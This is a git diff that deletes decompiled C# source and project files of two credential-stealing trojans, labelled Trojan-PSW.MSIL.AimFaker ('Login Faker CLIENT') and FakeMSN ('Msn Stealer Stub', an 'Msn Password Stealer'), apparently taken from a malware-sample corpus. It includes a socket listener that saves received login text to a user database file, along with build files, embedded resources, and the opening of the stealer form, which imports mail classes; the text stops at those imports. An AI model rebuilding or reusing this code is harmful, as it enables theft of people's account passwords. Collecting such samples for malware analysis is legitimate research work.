||||
}
|
||||
|
||||
public void a(IAsyncResult _param1)
|
||||
{
|
||||
try
|
||||
{
|
||||
A.C.A asyncState = (A.C.A) _param1.AsyncState;
|
||||
int byteCount = asyncState.A.EndReceive(_param1);
|
||||
char[] chars = new char[(int) checked ((uint) unchecked (byteCount + 1))];
|
||||
Encoding.UTF8.GetDecoder().GetChars(asyncState.A, 0, byteCount, chars, 0);
|
||||
this.A.Text += new string(chars);
|
||||
this.A(this.a);
|
||||
}
|
||||
catch (ObjectDisposedException ex)
|
||||
{
|
||||
Debugger.Log(0, "1", "\nOnDataReceived: Socket has been closed\n");
|
||||
}
|
||||
catch (SocketException ex)
|
||||
{
|
||||
int num = (int) MessageBox.Show(ex.Message);
|
||||
}
|
||||
this.A.Visible = false;
|
||||
this.a.Visible = true;
|
||||
}
|
||||
|
||||
private void a(object _param1, EventArgs _param2)
|
||||
{
|
||||
MainMenu mainMenu = new MainMenu();
|
||||
this.Menu = mainMenu;
|
||||
new Label().ContextMenu = new ContextMenu();
|
||||
MenuItem menuItem1 = mainMenu.MenuItems.Add("&Optionen");
|
||||
menuItem1.MenuItems.Add(new MenuItem("Config erstellen", new EventHandler(this.c), Shortcut.CtrlN));
|
||||
menuItem1.MenuItems.Add("-");
|
||||
menuItem1.MenuItems.Add(new MenuItem("Beenden", new EventHandler(this.D), Shortcut.CtrlX));
|
||||
MenuItem menuItem2 = mainMenu.MenuItems.Add("&Extras");
|
||||
menuItem2.MenuItems.Add(new MenuItem("&Informationen", new EventHandler(this.B), Shortcut.CtrlI));
|
||||
menuItem2.MenuItems.Add(new MenuItem("&Hinweise", new EventHandler(this.b), Shortcut.CtrlH));
|
||||
menuItem2.MenuItems.Add(new MenuItem("&Readme", new EventHandler(this.C), Shortcut.CtrlR));
|
||||
}
|
||||
|
||||
private void B(object _param1, EventArgs _param2) => new A.A().Show();
|
||||
|
||||
private void b(object _param1, EventArgs _param2) => new A.a().Show();
|
||||
|
||||
private void C(object _param1, EventArgs _param2) => new A.B().Show();
|
||||
|
||||
private void c(object _param1, EventArgs _param2) => new A.b().Show();
|
||||
|
||||
private void D(object _param1, EventArgs _param2) => Application.Exit();
|
||||
|
||||
private void d(object _param1, EventArgs _param2)
|
||||
{
|
||||
}
|
||||
|
||||
private void E(object _param1, EventArgs _param2)
|
||||
{
|
||||
if (Convert.ToInt16(this.A.TextLength.ToString(), 10) > (short) 10)
|
||||
{
|
||||
StreamWriter streamWriter = new StreamWriter((Stream) new FileStream("Userdatenbank.txt", FileMode.Append, FileAccess.Write));
|
||||
streamWriter.WriteLine(this.A.Text);
|
||||
streamWriter.Close();
|
||||
this.Close();
|
||||
}
|
||||
else
|
||||
{
|
||||
int num = (int) MessageBox.Show("Es wurde noch nichts empfangen, was man abspeichern könnte!");
|
||||
}
|
||||
}
|
||||
|
||||
private void e(object _param1, EventArgs _param2)
|
||||
{
|
||||
if (FormWindowState.Minimized != this.WindowState)
|
||||
return;
|
||||
this.Hide();
|
||||
}
|
||||
|
||||
private void F(object _param1, EventArgs _param2)
|
||||
{
|
||||
this.Show();
|
||||
this.WindowState = FormWindowState.Normal;
|
||||
}
|
||||
|
||||
private void f(object _param1, EventArgs _param2)
|
||||
{
|
||||
this.Show();
|
||||
this.WindowState = FormWindowState.Normal;
|
||||
}
|
||||
|
||||
private void A(object _param1, MouseEventArgs _param2)
|
||||
{
|
||||
if (_param2.Button != MouseButtons.Left)
|
||||
return;
|
||||
A.C.A();
|
||||
A.C.A(this.Handle, 161, 2, 0);
|
||||
}
|
||||
|
||||
private void G(object _param1, EventArgs _param2) => this.WindowState = FormWindowState.Minimized;
|
||||
|
||||
private void g(object _param1, EventArgs _param2) => this.Close();
|
||||
|
||||
public class A
|
||||
{
|
||||
public Socket A;
|
||||
public byte[] A = new byte[1];
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@ -1,54 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.AimFaker.a-b067ae213c153597999e87e04cb11aa63361851f6960def3e897c42cacafa05a.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{95C34C0E-04E8-4462-A301-9D92BCDD324F}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Login Faker CLIENT</AssemblyName>
|
||||
<ApplicationVersion>1.0.1715.28654</ApplicationVersion>
|
||||
<RootNamespace>A</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="A.cs" />
|
||||
<Compile Include="1A.cs" />
|
||||
<Compile Include="2a.cs" />
|
||||
<Compile Include="B.cs" />
|
||||
<Compile Include="1b.cs" />
|
||||
<Compile Include="C.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="a.resx" />
|
||||
<EmbeddedResource Include="A.resx" />
|
||||
<EmbeddedResource Include="b.resx" />
|
||||
<EmbeddedResource Include="B.resx" />
|
||||
<EmbeddedResource Include="C.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Login Faker CLIENT", "Trojan-PSW.MSIL.AimFaker.a-b067ae213c153597999e87e04cb11aa63361851f6960def3e897c42cacafa05a.csproj", "{95C34C0E-04E8-4462-A301-9D92BCDD324F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{95C34C0E-04E8-4462-A301-9D92BCDD324F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{95C34C0E-04E8-4462-A301-9D92BCDD324F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{95C34C0E-04E8-4462-A301-9D92BCDD324F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{95C34C0E-04E8-4462-A301-9D92BCDD324F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,129 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="$this.Icon" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>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</value>
|
||||
</data>
|
||||
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>BUZvcm0y</value>
|
||||
</data>
|
||||
<data name="pictureBox1.Image" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>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</value>
|
||||
</data>
|
||||
</root>
|
||||
@ -1,13 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCompany("Cyber-Warrior")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("Msn Stealer Stub")]
|
||||
[assembly: AssemblyTitle("Türk Hacker")]
|
||||
[assembly: AssemblyCopyright("Copyright © Microsoft")]
|
||||
[assembly: AssemblyDescription("Msn Password Stealer")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("2a1ce61a-af6c-440c-a88a-2ca55f25b33f")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
@ -1,240 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.Form1
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Mail;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
